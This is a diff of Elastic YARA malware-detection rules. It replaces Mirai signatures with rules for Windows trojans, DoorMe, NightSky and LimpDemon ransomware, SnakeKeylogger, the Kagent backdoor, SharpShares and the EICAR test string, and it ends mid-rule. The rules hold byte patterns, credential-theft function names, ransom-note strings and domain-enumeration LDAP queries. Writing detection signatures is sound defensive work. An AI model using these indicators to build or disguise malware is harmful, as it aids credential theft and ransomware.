+		fingerprint = "d02a17a3b9efc2fd991320a5db7ab2384f573002157cddcd12becf137e893bd8"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 83 45 F4 01 8B 45 F4 3B 45 F0 75 11 48 8B 45 F8 48 2B 45 D8 }
+		$a1 = "_sqlDataTypeSize"
+		$a2 = "ChromeGetName"
+		$a3 = "get_os_crypt"
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Mirai_Ae9D0Fa6 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Generic_9997489C : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Detects Windows Trojan Generic (Windows.Trojan.Generic)"
 		author = "Elastic Security"
-		id = "ae9d0fa6-be06-4656-9b13-8edfc0ee9e71"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "9997489c-4e22-4df1-90cb-dd098ca26505"
+		date = "2024-01-31"
+		modified = "2024-02-08"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L1522-L1539"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "8da5b14b95d96de5ced8bcab98e23973e449c1b5ca101f39a2114bb8e74fd9a5"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Generic.yar#L262-L290"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "857bbf64ced06f76eb50afbfbb699c62e11625196213c2e5267b828cca911b74"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "ca2bf2771844bec95563800d19a35dd230413f8eff0bd44c8ab0b4c596f81bfc"
+		fingerprint = "4c872be4e5eaf46c92e6f7d62ed0801992c36fee04ada1a1a3039890e2893d8c"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 83 EC 04 8A 44 24 18 8B 5C 24 14 88 44 24 03 8A 44 24 10 25 FF 00 }
+		$ldrload_dll = { 43 6A 45 9E }
+		$loadlibraryw = { F1 2F 07 B7 }
+		$ntallocatevirtualmemory = { EC B8 83 F7 }
+		$ntcreatethreadex = { B0 CF 18 AF }
+		$ntqueryinformationprocess = { C2 5D DC 8C }
+		$ntprotectvirtualmemory = { 88 28 E9 50 }
+		$ntreadvirtualmemory = { 03 81 28 A3 }
+		$ntwritevirtualmemory = { 92 01 17 C3 }
+		$rtladdvectoredexceptionhandler = { 89 6C F0 2D }
+		$rtlallocateheap = { 5A 4C E9 3B }
+		$rtlqueueworkitem = { 8E 02 92 AE }
+		$virtualprotect = { 0D 50 57 E8 }
 
 	condition:
-		all of them
+		4 of them
 }
-rule ELASTIC_Linux_Trojan_Mirai_612B407C : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Generic_2993E5A5 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Detects Windows Trojan Generic (Windows.Trojan.Generic)"
 		author = "Elastic Security"
-		id = "612b407c-fceb-4a19-8905-2f5b822f62cc"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "2993e5a5-26b2-4cfd-8130-4779abcfecb2"
+		date = "2024-03-18"
+		modified = "2024-03-18"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L1541-L1559"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "7833bc89778461a9f46cc47a78c67dda48b498ee40b09a80a21e67cb70c6add1"
-		logic_hash = "6514725a32f7c28be7de5ff6fe1363df7c50e2cd6c8c79824ec4cbeadda2ca31"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Generic.yar#L292-L310"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "9f9b926cef69e879462d9fa914dda8c60a01f3d409b55afb68c3fb94bf1a339b"
+		logic_hash = "37a10597d1afeb9411f6c652537186628291cbe6af680abe12bb96591add7e78"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "c48c26b1052ef832d4d6a106db186bf20c503bdf38392a1661eb2d3c3ec010cd"
+		fingerprint = "709015984e3c9abaf141b76bf574921466493475182ca30a56dbc3671030b632"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 11 B2 73 45 2B 7A 57 E2 F9 77 A2 23 EC 7C 0C 29 FE 3F B2 DE 28 6C }
+		$a = { 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89 }
 
 	condition:
-		all of them
+		1 of them
 }
-rule ELASTIC_Linux_Trojan_Mirai_D5Da717F : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Generic_0E135D58 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Detects Windows Trojan Generic (Windows.Trojan.Generic)"
 		author = "Elastic Security"
-		id = "d5da717f-3344-41a8-884e-8944172ea370"
-		date = "2021-04-06"
-		modified = "2021-09-16"
+		id = "0e135d58-efd9-4d5e-95d8-ddd597f8e6a8"
+		date = "2024-03-19"
+		modified = "2024-03-19"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L1561-L1579"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "1f6bcdfc7d1c56228897cd7548266bb0b9a41b913be354036816643ac21b6f66"
-		logic_hash = "034dae5bea7536e8c8aa22b8b891b9c991b94f04be12c9fe6d78ddf07a2365d9"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Generic.yar#L312-L330"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c"
+		logic_hash = "bc10218b1d761f72836bb5f9bb41d3f0fe13c4baa1109025269f938ec642aec4"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "c3674075a435ef1cd9e568486daa2960450aa7ffa8e5dbf440a50e01803ea2f3"
+		fingerprint = "e1a9e0c4e5531ae4dd2962285789c3bb8bb2621aa20437384fc3abcc349718c6"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 00 00 66 83 7C 24 34 FF 66 89 46 2C 0F 85 C2 }
+		$a = { 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B }
 
 	condition:
-		all of them
+		1 of them
 }
-rule ELASTIC_Linux_Trojan_Mirai_D33095D4 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Doorme_246Eda61 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Detects Windows Trojan Doorme (Windows.Trojan.DoorMe)"
 		author = "Elastic Security"
-		id = "d33095d4-ea02-4588-9852-7493f6781bb4"
-		date = "2021-04-06"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L1581-L1599"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "72326a3a9160e9481dd6fc87159f7ebf8a358f52bf0c17fbc3df80217d032635"
-		logic_hash = "b7feaec65d72907d08c98b09fb4ac494ceee7d7bd51c09063363c617e3f057a4"
+		id = "246eda61-23b5-49b8-8409-623f2722c289"
+		date = "2022-12-09"
+		modified = "2022-12-15"
+		reference = "https://www.elastic.co/security-labs/update-to-the-REF2924-intrusion-set-and-related-campaigns"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_DoorMe.yar#L1-L25"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "96b226e1dcfb8ea2155c2fa508125472c8c767569d009a881ab4c39453e4fe7f"
+		logic_hash = "01240f2e23904498c34ec805cc8bc3e9ac7b76c6519685ef6b367066f1a0bc5b"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "20c0faab6aef6e0f15fd34f9bd173547f3195c096eb34c4316144b19d2ab1dc4"
+		fingerprint = "aa8c2ae2e966bf4e0c79faa90b14fd77d07b7c68076f39c56b384dada9dd0e96"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 00 00 66 83 7C 24 54 FF 66 89 46 04 0F 85 CB }
+		$seq_aes_crypto = { 8B 6C 24 ?? C1 E5 ?? 8B 5C 24 ?? 8D 34 9D ?? ?? ?? ?? 0F B6 04 31 32 44 24 ?? 88 04 29 8D 04 9D ?? ?? ?? ?? 0F B6 04 01 32 44 24 ?? 88 44 29 ?? 8D 04 9D ?? ?? ?? ?? 0F B6 04 01 44 30 F8 88 44 29 ?? 8D 04 9D ?? ?? ?? ?? 0F B6 04 01 44 30 E0 88 44 29 ?? 8B 74 24 ?? }
+		$seq_copy_str = { 48 8B 44 24 ?? 48 89 58 ?? 48 89 F1 4C 89 F2 49 89 D8 E8 ?? ?? ?? ?? C6 04 1E ?? }
+		$seq_md5 = { 89 F8 44 21 C8 44 89 C9 F7 D1 21 F1 44 01 C0 01 C8 44 8B AC 24 ?? ?? ?? ?? 8B 9C 24 ?? ?? ?? ?? 48 89 B4 24 ?? ?? ?? ?? 44 89 44 24 ?? 46 8D 04 28 41 81 C0 ?? ?? ?? ?? 4C 89 AC 24 ?? ?? ?? ?? 41 C1 C0 ?? 45 01 C8 44 89 C1 44 21 C9 44 89 C2 F7 D2 21 FA 48 89 BC 24 ?? ?? ?? ?? 8D 2C 1E 49 89 DC 01 D5 01 E9 81 C1 ?? ?? ?? ?? C1 C1 ?? 44 01 C1 89 CA 44 21 C2 89 CD F7 D5 44 21 CD 8B 84 24 ?? ?? ?? ?? 48 89 44 24 ?? 8D 1C 07 01 EB 01 DA 81 C2 ?? ?? ?? ?? C1 C2 ?? }
+		$seq_calc_key = { 31 FF 48 8D 1D ?? ?? ?? ?? 48 83 FF ?? 4C 89 F8 77 ?? 41 0F B6 34 3E 48 89 F1 48 C1 E9 ?? 44 0F B6 04 19 BA ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 83 E6 ?? 44 0F B6 04 1E BA ?? ?? ?? ?? 48 8B 4D ?? E8 ?? ?? ?? ?? 48 83 C7 ?? }
+		$seq_base64 = { 8A 45 ?? 8A 4D ?? C0 E0 ?? 89 CA C0 EA ?? 80 E2 ?? 08 C2 88 55 ?? C0 E1 ?? 8A 45 ?? C0 E8 ?? 24 ?? 08 C8 88 45 ?? 41 83 C4 ?? 31 F6 44 39 E6 7D ?? 66 90 }
+		$str_0 = ".?AVDoorme@@" ascii fullword
 
 	condition:
-		all of them
+		3 of ($seq*) or 1 of ($str*)
 }
-rule ELASTIC_Linux_Trojan_Mirai_4E2246Fb : FILE MEMORY
+rule ELASTIC_Windows_Ransomware_Nightsky_A7F19411 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Detects Windows Ransomware Nightsky (Windows.Ransomware.Nightsky)"
 		author = "Elastic Security"
-		id = "4e2246fb-5f9a-4dea-8041-51758920d0b9"
-		date = "2021-04-06"
-		modified = "2021-09-16"
+		id = "a7f19411-4c28-4cc7-b60c-ef51cb10b905"
+		date = "2022-01-11"
+		modified = "2022-04-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L1601-L1619"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "1f6bcdfc7d1c56228897cd7548266bb0b9a41b913be354036816643ac21b6f66"
-		logic_hash = "6d2e1300286751a5e1ae683e9aab2f59bfbb20d1cc18dcce89c06ecadf25a3e6"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Ransomware_Nightsky.yar#L1-L22"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "1fca1cd04992e0fcaa714d9dfa97323d81d7e3d43a024ec37d1c7a2767a17577"
+		logic_hash = "defc7ab43035c663302edfda60a4b57cb301b3d61662afe3ce1de2ac93cfc3e2"
 		score = 75
-		quality = 75
+		quality = 48
 		tags = "FILE, MEMORY"
-		fingerprint = "23b0cfabc2db26153c02a7dc81e2006b28bfc9667526185b2071b34d2fb073c4"
-		severity = 100
+		fingerprint = "0f2aac3a538a921b78f7c2521adf65678830abab8ec8b360ac3dddae5fbc4756"
+		severity = 90
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 00 00 B8 01 00 00 00 31 DB CD 80 EB FA 8D 8B 10 }
+		$a1 = "\\NightSkyReadMe.hta" wide fullword
+		$a2 = ".nightsky" wide fullword
+		$a3 = "<h1 id=\"nightsky\"><center><span style=\"color: black; font-size: 48pt\">NIGHT SKY</span></center>" ascii fullword
+		$a4 = "URL:https://contact.nightsky.cyou" ascii fullword
 
 	condition:
-		all of them
+		2 of them
 }
-rule ELASTIC_Linux_Trojan_Mirai_D5981806 : FILE MEMORY
+rule ELASTIC_Windows_Ransomware_Nightsky_253C4D0D : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Detects Windows Ransomware Nightsky (Windows.Ransomware.Nightsky)"
 		author = "Elastic Security"
-		id = "d5981806-0db8-4422-ad57-5d1c0f7464c3"
-		date = "2021-04-06"
-		modified = "2021-09-16"
+		id = "253c4d0d-157f-4929-9f0e-5830ebc377dc"
+		date = "2022-03-14"
+		modified = "2022-04-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L1621-L1639"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "784f2005853b5375efaf3995208e4611b81b8c52f67b6dc139fd9fec7b49d9dc"
-		logic_hash = "e625323543aa5c8374a179dfa51c3f5be1446459c45fa7c7a27ae383cf0f551b"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Ransomware_Nightsky.yar#L24-L42"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "2c940a35025dd3847f7c954a282f65e9c2312d2ada28686f9d1dc73d1c500224"
+		logic_hash = "ba9e6dab664e464e0fdc65bd8bdccc661846d85e7fd8fbf089e72e9e5b71fb17"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "b0fd8632505252315ba551bb3680fa8dc51038be17609018bf9d92c3e1c43ede"
+		fingerprint = "739529dfb1f8c8ab2a7f6a4b2b18b27dd2fcc38eda0f110897fc6cb5d64b1c92"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 3F 00 00 66 83 7C 24 38 FF 66 89 46 04 0F 85 EA }
+		$a1 = { 43 B8 48 2B D9 49 89 43 C0 4C 8B E2 49 89 43 C8 4C 8B F1 49 89 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Mirai_C6055Dc9 : FILE MEMORY
+rule ELASTIC_Multi_EICAR_Ac8F42D6 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Detects Multi Eicar Not A Virus (Multi.EICAR.Not-a-virus)"
 		author = "Elastic Security"
-		id = "c6055dc9-316b-478d-9997-1dbf455cafcc"
-		date = "2021-04-06"
-		modified = "2021-09-16"
+		id = "ac8f42d6-52da-46ec-8db1-5a5f69222a38"
+		date = "2021-01-21"
+		modified = "2022-01-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L1641-L1659"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "c1718d7fdeef886caa33951e75cbd9139467fa1724605fdf76c8cdb1ec20e024"
-		logic_hash = "4d9d7c44f0d3ae60275720ae5faf3c25c368aa6e7d9ab5ed706a30f9a7ffd3b8"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Multi_EICAR.yar#L1-L18"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "05c92058aab1229dfa31e006276c2c83fa484e813bdfe66edf387763797d9d57"
 		score = 75
-		quality = 75
+		quality = 25
 		tags = "FILE, MEMORY"
-		fingerprint = "b95f582edf2504089ddd29ef1a0daf30644b364f3d90ede413a2aa777c205070"
-		severity = 100
-		arch_context = "x86"
+		fingerprint = "bb0e0bdf70ec65d98f652e2428e3567013d5413f2725a2905b372fd18da8b9dd"
+		severity = 1
+		arch_context = "x86, arm64"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "multi"
 
 	strings:
-		$a = { 83 7F 43 80 77 39 CF 7E 09 83 C8 FF 5A 5D 8A 0E }
+		$a = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*" ascii fullword
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Mirai_3B9675Fd : FILE MEMORY
+rule ELASTIC_Macos_Backdoor_Kagent_64Ca1865 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Detects Macos Backdoor Kagent (MacOS.Backdoor.Kagent)"
 		author = "Elastic Security"
-		id = "3b9675fd-1fa1-4e15-9472-64cb93315d63"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "64ca1865-0a99-49dc-b138-02b17ed47f60"
+		date = "2021-11-11"
+		modified = "2022-07-22"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L1661-L1679"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "4ec4bc88156bd51451fdaf0550c21c799c6adacbfc654c8ec634ebca3383bd66"
-		logic_hash = "61ff7cb8d664291de5cf0c82b80cf0f4001c41d3f02b7f4762f67eb8128df15d"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/MacOS_Backdoor_Kagent.yar#L1-L25"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "d599d7814adbab0f1442f5a10074e00f3a776ce183ea924abcd6154f0d068bb4"
+		logic_hash = "dea0a1bbe8c3065b395de50b5ffc2fbdf479ed35ce284fa33298d6ed55e960c6"
 		score = 75
-		quality = 75
+		quality = 50
 		tags = "FILE, MEMORY"
-		fingerprint = "40a154bafa72c5aa0c085ac2b92b5777d1acecfd28d28b15c7229ba5c59435f2"
+		fingerprint = "b8086b08a019a733bee38cebdc4e25cdae9d3c238cfe7b341d8f0cd4db204d27"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "macos"
 
 	strings:
-		$a = { 78 10 85 C9 75 65 48 8B 8C 24 A0 00 00 00 48 89 48 10 0F B6 4C }
+		$s1 = "save saveCaptureInfo"
+		$s2 = "savephoto success screenCaptureInfo"
+		$s3 = "no auto bbbbbaaend:%d path %s"
+		$s4 = "../screencapture/screen_capture_thread.cpp"
+		$s5 = "%s:%d, m_autoScreenCaptureQueue: %x"
+		$s6 = "auto bbbbbaaend:%d path %s"
+		$s7 = "auto aaaaaaaastartTime:%d path %s"
 
 	condition:
-		all of them
+		4 of them
 }
-rule ELASTIC_Linux_Trojan_Mirai_1C0D246D : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Snakekeylogger_Af3Faa65 : FILE MEMORY
 {
 	meta:
-		description = "Based off community provided sample"
+		description = "Detects Windows Trojan Snakekeylogger (Windows.Trojan.SnakeKeylogger)"
 		author = "Elastic Security"
-		id = "1c0d246d-dc23-48d6-accb-1e1db1eba49b"
-		date = "2021-04-13"
-		modified = "2021-09-16"
+		id = "af3faa65-b19d-4267-ac02-1a3b50cdc700"
+		date = "2021-04-06"
+		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L1681-L1700"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "211cfe9d158c8a6840a53f2d1db2bf94ae689946fffb791eed3acceef7f0e3dd"
-		logic_hash = "7a101e6d2265e09eb6c8d0f1a2fe54c9aa353dfd8bd156926937f4aec86c3ef1"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_SnakeKeylogger.yar#L1-L32"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "54180a642d40b5366f1b400c347c25dc31397d662d6bb8af33c7d2319c97d3fb"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "b6b6991e016419b1ddf22822ce76401370471f852866f0da25c7b0f4bec530ee"
-		threat_name = "Linux.Trojan.Mirai"
+		fingerprint = "15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { E7 C0 00 51 78 0F 1B FF 8A 7C 18 27 83 2F 85 2E CB 14 50 2E }
+		$a1 = "get_encryptedPassword" ascii fullword
+		$a2 = "get_encryptedUsername" ascii fullword
+		$a3 = "get_timePasswordChanged" ascii fullword
+		$a4 = "get_passwordField" ascii fullword
+		$a5 = "set_encryptedPassword" ascii fullword
+		$a6 = "get_passwords" ascii fullword
+		$a7 = "get_logins" ascii fullword
+		$a8 = "GetOutlookPasswords" ascii fullword
+		$a9 = "StartKeylogger" ascii fullword
+		$a10 = "KeyLoggerEventArgs" ascii fullword
+		$a11 = "KeyLoggerEventArgsEventHandler" ascii fullword
+		$a12 = "GetDataPassword" ascii fullword
+		$a13 = "_encryptedPassword" ascii fullword
+		$b1 = "----------------S--------N--------A--------K--------E----------------"
+		$c1 = "SNAKE-KEYLOGGER" ascii fullword
 
 	condition:
-		all of them
+		8 of ($a*) or #b1>5 or #c1>5
 }
-rule ELASTIC_Linux_Trojan_Mirai_Ad337D2F : FILE MEMORY
+rule ELASTIC_Windows_Hacktool_Sharpshares_88Cdcd52 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Detects Windows Hacktool Sharpshares (Windows.Hacktool.SharpShares)"
 		author = "Elastic Security"
-		id = "ad337d2f-d4ac-42a7-9d2e-576fe633fa16"
-		date = "2021-06-28"
-		modified = "2021-09-16"
-		reference = "012b717909a8b251ec1e0c284b3c795865a32a1f4b79706d2254a4eb289c30a7"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L1702-L1720"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "dba630c1deb00b0dbd9f895a9b93393bc634150c8f32527b02d8dd71dc806e7d"
+		id = "88cdcd52-9f5b-4ab6-8f20-137c8569d112"
+		date = "2022-10-20"
+		modified = "2022-11-24"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Hacktool_SharpShares.yar#L1-L30"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "bbdd3620a67aedec4b9a68b2c9cc880b6631215e129816aea19902a6f4bc6f41"
+		logic_hash = "85c59b939da6158f931e779c2884cea77b80fab54ee5e157d86afa19f0253db3"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "67cbcb8288fe319c3b8f961210748f7cea49c2f64fc2f1f55614d7ed97a86238"
+		fingerprint = "ae0cf8bbdfecfebf69d718dc0ccc8402ed7f2f949e2b6bab606bbf69aa6c2518"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 01 75 14 80 78 FF 2F 48 8D 40 FF 0F 94 C2 48 39 D8 77 EB 84 D2 }
+		$guid = "BCBC884D-2D47-4138-B68F-7D425C9291F9" ascii wide nocase
+		$print_str0 = "all enabled computers with \"primary\" group \"Domain Computers\"" ascii wide
+		$print_str1 = "all enabled Domain Controllers (not read-only DCs)" ascii wide
+		$print_str2 = "all enabled servers excluding Domain Controllers or read-only DCs" ascii wide
+		$str0 = "(&(objectCategory=computer)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))" ascii wide
+		$str1 = "(&(objectCategory=computer)(!(userAccountControl:1.2.840.113556.1.4.803:=2))(userAccountControl:1.2.840.113556.1.4.803:=8192))" ascii wide
+		$str2 = "(&(objectCategory=computer)(!(userAccountControl:1.2.840.113556.1.4.803:=2))(!(userAccountControl:1.2.840.113556.1.4.803:=8192))(!(userAccountControl:1.2.840.113556.1.4.803:=67100867)))" ascii wide
+		$str3 = "(&(objectCategory=computer)(!(userAccountControl:1.2.840.113556.1.4.803:=2))(operatingSystem=*server*)(!(userAccountControl:1.2.840.113556.1.4.803:=8192))(!(userAccountControl:1.2.840.113556.1.4.803:=67100867)))" ascii wide
+		$str4 = "servers-exclude-dc" ascii wide
+		$str5 = "all enabled servers" ascii wide
+		$str6 = "[w] \\\\{0}\\{1}" ascii wide
+		$str7 = "[-] \\\\{0}\\{1}" ascii wide
 
 	condition:
-		all of them
+		$guid or all of ($print_str*) or 4 of ($str*)
 }
-rule ELASTIC_Linux_Trojan_Mirai_88A1B067 : FILE MEMORY
+rule ELASTIC_Linux_Ransomware_Limpdemon_95C748E0 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Detects Linux Ransomware Limpdemon (Linux.Ransomware.LimpDemon)"
 		author = "Elastic Security"
-		id = "88a1b067-11d5-4128-b763-2d1747c95eef"
-		date = "2021-06-28"
-		modified = "2021-09-16"
-		reference = "1a62db02343edda916cbbf463d8e07ec2ad4509fd0f15a5f6946d0ec6c332dd9"
